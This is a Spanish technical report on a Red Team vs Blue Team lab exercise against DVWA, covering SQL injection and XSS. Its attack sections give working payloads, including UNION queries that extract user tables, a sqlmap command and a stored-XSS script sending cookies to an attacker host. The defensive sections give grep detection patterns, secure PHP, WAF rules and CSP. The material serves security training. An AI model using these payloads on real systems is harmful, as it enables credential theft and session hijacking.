Informe Técnico Exhaustivo: Simulación de Ciberguerra Red Team vs Blue Team en Entornos de Aplicaciones Web Críticas

1. Infraestructura del Escenario: Damn Vulnerable Web Application (DVWA)

Para garantizar un entorno de pruebas ético, legal y controlado, se utiliza DVWA, una aplicación web basada en PHP y MySQL diseñada intencionalmente con graves defectos de seguridad. DVWA permite alternar entre niveles de seguridad (Low, Medium, High, Impossible), lo que proporciona una plataforma única para observar la evolución del código desde una implementación negligente hasta una robusta y segura
Topología del Laboratorio:
El entorno de simulación se despliega típicamente en una red virtualizada aislada para evitar la fuga de tráfico malicioso.

- **Servidor Objetivo (Target):** Una máquina virtual ejecutando un servidor LAMP (Linux, Apache, MySQL, PHP), alojando la instancia de DVWA. La configuración de Apache se ajusta para maximizar la verbosidad de los registros de acceso y error, facilitando el análisis forense del Blue Team
- **Estación de Ataque (Attacker):** Una instancia de Kali Linux equipada con un arsenal de herramientas ofensivas, incluyendo Burp Suite Professional para la interceptación y manipulación de tráfico HTTP, sqlmap para la automatización de inyecciones SQL, y navegadores web configurados con proxies para el análisis manual

2. Vector de Ataque Primario: Inyección SQL (SQLi)

La Inyección SQL (SQLi) representa una falla en la validación de entrada donde una aplicación web pasa datos no confiables suministrados por el usuario directamente a una consulta de base de datos dinámica. Esto permite a un atacante manipular la estructura de la consulta SQL original, logrando que la base de datos ejecute comandos no autorizados. A pesar de ser conocida desde hace décadas, la SQLi sigue siendo una de las vulnerabilidades más devastadoras debido a su capacidad para exponer la totalidad de la base de datos de una organización.

2.1 Fase Ofensiva (Red Team): Metodología de Explotación SQLi

La misión del Red Team es clara: subvertir la lógica de autenticación de la aplicación y exfiltrar la base de datos de usuarios, incluyendo credenciales administrativas.

2.1.1 Reconocimiento y Detección de Puntos de Inyección

El proceso comienza con un reconocimiento meticuloso. En el nivel de seguridad Low de DVWA, el Red Team se enfrenta a un formulario que solicita un "User ID".
La interacción inicial implica enviar datos legítimos para establecer una línea base de comportamiento.

- **Entrada:** 1
- Respuesta: La aplicación devuelve "ID: 1, First Name: admin, Surname: admin".
  Esto indica que la aplicación está realizando una consulta SELECT basada en el ID proporcionado.

Para probar la vulnerabilidad, el Red Team introduce caracteres que poseen un significado sintáctico especial en el lenguaje SQL, típicamente la comilla simple (') o la comilla doble (").

- **Payload de Prueba:** 1'
- Respuesta del Servidor: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1".
  Este mensaje de error es crítico. Confirma dos hechos: primero, que la entrada del usuario está siendo concatenada directamente en la consulta SQL sin sanitización; y segundo, que el servidor está configurado para mostrar errores detallados (verbose error reporting), lo cual facilita enormemente la explotación posterior.

2.1.2 Explotación Manual: Bypass de Autenticación y Unión de Consultas

Una vez confirmada la vulnerabilidad, el Red Team escala el ataque.
Técnica de Tautología (Authentication Bypass):
El objetivo es alterar la lógica booleana de la cláusula WHERE para que la condición siempre sea verdadera.

- **Payload:** %' OR '1'='1
- **Análisis del Payload:**
  - %: Actúa como un comodín en SQL, intentando coincidir con cualquier usuario.
  - ': Cierra la cadena de texto delimitada en la consulta original.
  - OR: Operador lógico que permite que la consulta tenga éxito si *cualquiera* de las condiciones es verdadera.

    - '1'='1': Una condición tautológica que siempre es verdadera.
- **Consulta Resultante en el Backend:**
  SQL
  SELECT first_name, last_name FROM users WHERE user_id = '%' OR '1'='1';

  Dado que 1=1 es verdadero para cada fila de la tabla, la base de datos devuelve todos los registros, exponiendo la lista completa de usuarios sin necesidad de conocer sus IDs individuales

Técnica UNION-Based SQLi (Exfiltración de Datos):
Para extraer datos arbitrarios de otras tablas, el Red Team utiliza el operador UNION. Este operador permite combinar el conjunto de resultados de la consulta original con el conjunto de resultados de una consulta inyectada. Para que funcione, ambas consultas deben tener el mismo número de columnas y tipos de datos compatibles.

1. Determinación del Número de Columnas:
   El atacante utiliza la cláusula ORDER BY para inferir el número de columnas seleccionadas en la consulta original.
   - 1' ORDER BY 1 # -> Sin error.
   - 1' ORDER BY 2 # -> Sin error.
   - 1' ORDER BY 3 # -> Error (''Unknown column '3' in 'order clause'").
     Conclusión: La consulta original selecciona exactamente 2 columnas.
2. Identificación de Columnas de Salida:
   Se inyecta una consulta UNION con números para ver dónde se reflejan los datos en la página.
   - **Payload:** 1' UNION SELECT 1, 2 #
   - **Resultado:** La aplicación muestra ''First Name: 1, Surname: 2''. Esto confirma que ambas columnas son visibles y pueden usarse para exfiltrar datos.
3. Enumeración de la Base de Datos:
   El Red Team extrae metadatos críticos sobre el entorno.
   - **Payload:** 1' UNION SELECT user(), database() #
   - **Resultado:** Muestra el usuario actual de la base de datos (ej. dvwa@localhost) y el nombre de la base de datos (ej. dvwa).
4. Extracción de Tablas y Credenciales:
   Utilizando la tabla de metadatos information_schema, el atacante lista todas las tablas presentes.
   - **Payload:** 1' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema = 'dvwa' #
   - Resultado: Se revelan tablas como guestbook y users.
     Finalmente, se extraen los contenidos sensibles de la tabla users.
   - **Payload:** 1' UNION SELECT user, password FROM users #
   - **Resultado:** La aplicación vuelca en pantalla los nombres de usuario y los hashes de sus contraseñas (probablemente MD5 en versiones antiguas de DVWA), que

luego pueden ser crackeados offline

2.1.3 Explotación Automatizada con Herramientas (Burp Suite y SQLMap)

En un escenario de auditoría real, la eficiencia es clave. El Red Team utiliza herramientas para automatizar y profundizar el ataque.
Burp Suite (Interceptación y Manipulación):
El Red Team configura su navegador para enrutar el tráfico a través de Burp Proxy.

1. **Interceptación:** Se captura la petición GET enviada al formulario de vulnerabilidad SQLi.
2. **Repeater:** La petición se envía al módulo *Repeater*. Aquí, el atacante puede modificar el parámetro id infinitas veces y observar la respuesta cruda (Raw Response) para detectar cambios sutiles que no serían visibles en el navegador renderizado.
3. **Intruder:** Para ataques de fuerza bruta o fuzzing, se envía la petición al *Intruder*. Se define el parámetro id como la posición del payload (§id§) y se carga una lista de palabras (wordlist) de inyección SQL (Fuzzing - SQL). Burp lanza miles de peticiones y el atacante analiza los resultados ordenando por longitud de respuesta o código de estado, identificando rápidamente qué payloads provocaron una reacción diferente en el servidor.

SQLMap (La "Navaja Suiza" de SQLi):
Para una explotación profunda, sqlmap es la herramienta definitiva.

- **Comando:**
  Bash
  ```
  sqlmap -u "http://192.168.1.10/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=kajsdh876...; security=low" \
  --batch --dbs
  ```

  - -u: URL objetivo.
  - --cookie: Esencial para mantener la sesión autenticada en DVWA.
  - --dbs: Ordena a la herramienta enumerar las bases de datos disponibles.
- **Mecanismo:** SQLMap detecta automáticamente que el parámetro id es vulnerable, identifica el motor de base de datos (MySQL), y utiliza técnicas avanzadas como inyección ciega basada en tiempo (Time-Based Blind) si la inyección basada en error falla. Puede volcar la base de datos completa (--dump), e incluso intentar obtener una shell del sistema operativo (--os-shell) si los privilegios del usuario de base de datos lo permiten

2.2 Fase Defensiva (Blue Team): Detección Forense y Estrategias de Mitigación

Mientras el Red Team ejecuta sus maniobras, el Blue Team opera en el Centro de Operaciones de Seguridad (SOC), analizando flujos de datos para identificar la intrusión y responder.

2.2.1 Detección Forense en Registros de Apache (Log Analysis)

El archivo access.log de Apache es la fuente primaria de verdad para el Blue Team. Una inyección SQL deja huellas digitales muy específicas que difieren del tráfico normal.

Tabla 1: Comparativa de Tráfico Normal vs Malicioso en Logs de Apache

Característica	Tráfico Legítimo (Normal)	Tráfico Malicioso (SQLi)
URI Solicitada	/vulnerabilities/sqli/?id=1	/vulnerabilities/sqli/?id=1%27+UNION+SELECT...
Longitud de Respuesta	Consistente (ej. 450 bytes)	Variable (ej. 2000+ bytes debido al volcado de datos)
Código de Estado	200 OK	200 OK (Explotación exitosa) o 500 (Error de sintaxis)
Caracteres Especiales	Mínimos (alfanuméricos)	Alta densidad (%27, %23, --, /*)
Frecuencia	Baja (interacción humana)	Muy Alta (automatización por sqlmap)

Análisis de Patrones con grep:
El Blue Team utiliza expresiones regulares para filtrar el ruido y encontrar la aguja en el pajar.

- **Comando de Búsqueda:**
  Bash
  grep -Ei "UNION|SELECT|ORDER BY|Waitfor|Sleep|OR.*=|INFORMATION_SCHEMA" /var/log/apache2/access.log

  Este comando busca insensible a mayúsculas/minúsculas (-i) cualquiera de las palabras clave de SQL extendido (-E) que son típicas de un ataque

Análisis de un Evento de Log Real:
El Blue Team aísla la siguiente entrada sospechosa:

84.55.41.57 - - [14/Apr/2023:08:22:13 +0100] "GET /dvwa/vulnerabilities/sqli/?id=1%27+UNION+SELECT+user,password+FROM+users%23&Submit=Submit HTTP/1.1" 200 4568 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"

- **Atribución:** La dirección IP 84.55.41.57 es la fuente del ataque.
- **Vector:** La presencia de UNION SELECT codificado en URL (%27 es ', %23 es #) confirma un intento de extracción de datos.
- **Herramienta:** El User-Agent revela explícitamente el uso de sqlmap. Incluso si el atacante hubiera falsificado el User-Agent, la velocidad de las peticiones subsiguientes (centenares por segundo) delataría la automatización

2.2.2 Análisis de Código Fuente y Remediación (Secure Coding)

La respuesta definitiva a la vulnerabilidad reside en el código. El Blue Team realiza una revisión de código (Code Review) comparando la versión vulnerable con la segura.
Análisis de Código Vulnerable (low.php):

PHP

```
<?php
if( isset( $_REQUEST ) ) {
   // Obtener entrada
   $id = $_REQUEST[ 'id' ];

   // Vulnerabilidad Crítica: Concatenación directa
   $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
   $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>'.
((is_object($GLOBALS["___mysqli_ston"]))? mysqli_error($GLOBALS["___mysqli_ston"]) :
(($___mysqli_res = mysqli_connect_error())? $___mysqli_res : false)). '</pre>' );

   //... código de visualización...
}
?>
```

Diagnóstico: La variable $id se inserta directamente en la cadena SQL. No hay validación de tipo (¿es un número?) ni escape de caracteres. La función mysqli_error imprime errores detallados en pantalla, ayudando al atacante.
Análisis de Código Seguro (impossible.php):

PHP

```
<?php
if( isset( $_GET ) ) {
```

```
    // Verificación de Token Anti-CSRF
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Obtener entrada
    $id = $_GET[ 'id' ];

    // Validación de Tipo (Defensa en Profundidad)
    if( is_numeric( $id ) ) {
        // Uso de Consultas Preparadas (PDO)
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id =
(:id)' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        //... código de visualización...
    }
}
?>
```

Mecanismo de Defensa:

1. **Consultas Parametrizadas (Prepared Statements):** El uso de $db->prepare separa la estructura SQL de los datos. El marcador de posición :id indica al motor de la base de datos que lo que venga ahí debe tratarse estrictamente como un valor literal, no como código ejecutable. Incluso si el atacante envía ' OR 1=1, la base de datos buscará un usuario cuyo ID sea literalmente la cadena de texto ' OR 1=1, lo cual fallará de forma segura.
2. **Validación de Tipo:** is_numeric($id) asegura que solo se procesen números, rechazando cualquier intento de inyección de caracteres antes de siquiera tocar la base de datos.
3. **Token Anti-CSRF:** Previene que la petición sea forzada desde otro sitio

2.2.3 Endurecimiento con Web Application Firewall (WAF)

Como capa de seguridad adicional, el Blue Team despliega reglas en el WAF (ej. ModSecurity con OWASP Core Rule Set).

- **Regla 1005613:** "Generic SQL Injection Prevention". Esta regla utiliza expresiones regulares complejas para inspeccionar los argumentos de la petición (ARGS) en busca de patrones de inyección comunes. Si detecta UNION SELECT, bloquea la petición y devuelve un error 403 Forbidden antes de que llegue al servidor PHP, protegiendo incluso aplicaciones con código vulnerable heredado

3. Vector de Ataque Secundario: Cross-Site Scripting (XSS)

El Cross-Site Scripting (XSS) es una vulnerabilidad de inyección de código del lado del cliente. Ocurre cuando una aplicación incluye datos no confiables en una página web sin la validación o el escape adecuados. Esto permite que el navegador de la víctima ejecute scripts maliciosos inyectados por el atacante como si fueran parte legítima del sitio web.

3.1 Fase Ofensiva (Red Team): Metodología de Explotación XSS

El objetivo del Red Team es ejecutar JavaScript arbitrario en el contexto del navegador de la víctima para robar sesiones, realizar acciones no autorizadas o redirigir tráfico.

3.1.1 XSS Reflejado (Reflected XSS): Ataque Dirigido

En este escenario, el payload malicioso no se almacena en el servidor, sino que "rebota" en él.

- **Vector:** DVWA (nivel Low) tiene un campo que pide un nombre y saluda al usuario: "Hello [nombre]".
- **Análisis:** El Red Team observa que el parámetro name en la URL se refleja directamente en el HTML de respuesta.
- **Payload:** <script>alert(document.cookie)</script>
- Ejecución: El atacante construye una URL maliciosa:
  http://dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
  Si el Red Team logra (mediante phishing) que un usuario autenticado haga clic en este enlace, el script se ejecutará. La función alert(document.cookie) es una prueba de concepto (PoC) estándar para demostrar que se puede acceder a la cookie de sesión del usuario.26

3.1.2 XSS Almacenado (Stored XSS): Ataque Persistente

Este es el vector más peligroso. El script se guarda permanentemente en la base de datos del servidor.

- **Vector:** El formulario "Guestbook" (Libro de Visitas) de DVWA.
- Payload de Robo de Cookies:

El Red Team inyecta un script diseñado para enviar silenciosamente las cookies de la víctima a un servidor controlado por el atacante.
HTML
<script>
  new Image().src="http://atacante-ip/grabber.php?cookie="+document.cookie;
</script>

- **Mecanismo:** El atacante publica este "comentario" en el libro de visitas. A partir de ese momento, *cualquier* usuario (incluido el administrador) que visite la página del libro de visitas ejecutará el script automáticamente. Su navegador intentará cargar la imagen, enviando una petición GET al servidor del atacante con la cookie de sesión adjunta en la URL. El Red Team recoge estas cookies y secuestra las sesiones de los usuarios

3.1.3 Evasión de Filtros (Niveles Intermedios)

En el nivel Medium, DVWA implementa un filtro básico que reemplaza la cadena <script> con espacio vacío.

- **Técnica de Evasión:** El Red Team elude esto utilizando capitalización mixta (HTML es insensible a mayúsculas, pero el filtro str_replace de PHP suele ser sensible).
    - **Payload:** <ScRiPt>alert(1)</sCrIpT>
    - Alternativa: Usar etiquetas que no sean <script>, como eventos en imágenes: <img src=x onerror=alert(1)>
      Aquí, el navegador intenta cargar una imagen llamada "x", falla, y ejecuta el evento onerror, disparando el script.

3.2 Fase Defensiva (Blue Team): Detección Forense y Estrategias de Mitigación

3.2.1 Detección Forense en Logs (XSS)

La detección de XSS en logs de acceso requiere decodificar las peticiones URI, ya que los navegadores codifican los caracteres especiales.
Patrones de Búsqueda:
El Blue Team busca la presencia de etiquetas HTML o atributos de eventos JavaScript en los parámetros de la URL.

- **Comando:** grep -iE "%3Cscript%3E|%3Cimg|%3Csvg|onerror=|onload=|alert\(" /var/log/apache2/access.log
- **Análisis de Log:**
  192.168.1.50 - - "GET /dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew %20Image().src%3D%22http%3A//evil.com%22%3C/script%3E HTTP/1.1" 200...

La presencia de %3Cscript%3E () y una URL externa (http://evil.com) es evidencia irrefutable de un intento de XSS y exfiltración

3.2.2 Análisis de Código Fuente y Remediación (Secure Coding)

La defensa contra XSS se basa en el principio de "nunca confiar en la entrada, siempre codificar la salida".
Código Vulnerable (Nivel Low - xss_r/source/low.php):

PHP

```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ]!= NULL ) {
    // Feedback for end user
    echo '<pre>Hello '. $_GET[ 'name' ]. '</pre>';
}
?>
```

Fallo: La entrada $_GET['name'] se concatena directamente y se envía al navegador. Si contiene HTML, el navegador lo renderiza
Código Seguro (Nivel Impossible - xss_r/source/impossible.php):

PHP

```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ]!= NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = $_GET[ 'name' ];

    // Validate input (Optional but recommended)
    //...

    // Sanitize output
    $name = htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' );
```

```
    // Feedback for end user
    echo '<pre>Hello '. $name. '</pre>';
}
?>
```

Mecanismo de Defensa:

1. **Codificación de Entidades HTML (htmlspecialchars):** Esta es la defensa principal. Convierte los caracteres que tienen significado especial en HTML en sus representaciones seguras (entidades).
    - < se convierte en <
    - > se convierte en >
    - " se convierte en "
    - ' se convierte en ' (gracias a ENT_QUOTES).
      Cuando el navegador recibe <script>, lo muestra visualmente como texto, pero no lo ejecuta como código.
2. **Token Anti-CSRF:** Implementado para evitar que el ataque sea lanzado automáticamente desde otro sitio, añadiendo una capa de validación de origen

3.2.3 Política de Seguridad de Contenido (Content Security Policy - CSP)

El Blue Team implementa CSP como una medida de "Defensa en Profundidad". CSP es una cabecera HTTP que permite a los administradores del sitio declarar fuentes de contenido aprobadas que el navegador puede cargar.
Ejemplo de Cabecera CSP Robusta:

HTTP

```
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; object-src 'none';
```

- default-src 'self': Solo permite recursos del propio dominio.
- script-src...: Solo permite scripts del propio dominio y de Google APIs. Bloquea la ejecución de scripts en línea (<script>... </script>) y scripts de dominios desconocidos (http://atacante-ip/grabber.js). Incluso si la inyección XSS tiene éxito en el código PHP, el navegador se negará a ejecutar el script porque viola la política CSP, mitigando el impacto del ataque

4. Respuesta a Incidentes y Procedimientos Forenses (Post-Mortem)

Una vez neutralizado el ataque simulado, se activa la fase de respuesta a incidentes.

1. **Contención:** Aislar el servidor web de la red para evitar que el atacante mantenga el acceso o realice movimientos laterales.
2. **Erradicación:** Eliminar los scripts persistentes inyectados en la base de datos (limpieza de la tabla guestbook afectada por Stored XSS) y parchear el código PHP vulnerable.
3. **Recuperación:** Restaurar la base de datos desde una copia de seguridad limpia (si hubo corrupción de datos) y reiniciar los servicios con las nuevas configuraciones de WAF y código seguro.
4. **Lecciones Aprendidas:** Documentar los vectores de ataque exitosos. En este caso, la falta de consultas parametrizadas y la ausencia de codificación de salida fueron las causas raíz. Se recomienda implementar herramientas de análisis estático de código (SAST) en el pipeline de desarrollo para detectar estas fallas antes de que lleguen a producción

5. Conclusión y Recomendaciones Estratégicas

La simulación Red Team vs Blue Team sobre la plataforma DVWA ha proporcionado una demostración empírica de la asimetría fundamental en la ciberseguridad: el atacante solo necesita encontrar una única vulnerabilidad no parcheada para comprometer todo el sistema, mientras que el defensor debe asegurar cada entrada, cada salida y cada configuración.

El análisis de la Inyección SQL demostró cómo la negligencia en la validación de un solo parámetro (id) puede conducir a la exposición total de la base de datos corporativa. Del mismo modo, el análisis de XSS ilustró cómo la falta de codificación de salida permite a los atacantes secuestrar cuentas de usuario y propagar amenazas.

Recomendaciones Clave para la Organización:

1. **Adopción de Consultas Parametrizadas:** Debe ser obligatorio el uso de PDO o MySQLi Prepared Statements para todas las interacciones con bases de datos.
2. **Codificación de Salida Contextual:** Implementar bibliotecas de codificación automática en el framework de desarrollo para mitigar XSS por defecto.
3. **Monitoreo Proactivo:** Configurar alertas en el SIEM basadas en los patrones de logs identificados (palabras clave SQL y etiquetas HTML codificadas) para detectar ataques en etapas tempranas de reconocimiento.
4. **Defensa en Profundidad:** Desplegar WAFs con reglas actualizadas y políticas CSP estrictas para proporcionar capas de seguridad redundantes que protejan incluso cuando el código base tenga fallos.

Este ejercicio subraya que la seguridad no es un producto, sino un proceso continuo de prueba, detección y mejora. La colaboración entre equipos ofensivos y defensivos es el mecanismo más efectivo para elevar la postura de seguridad de cualquier organización frente a las amenazas modernas.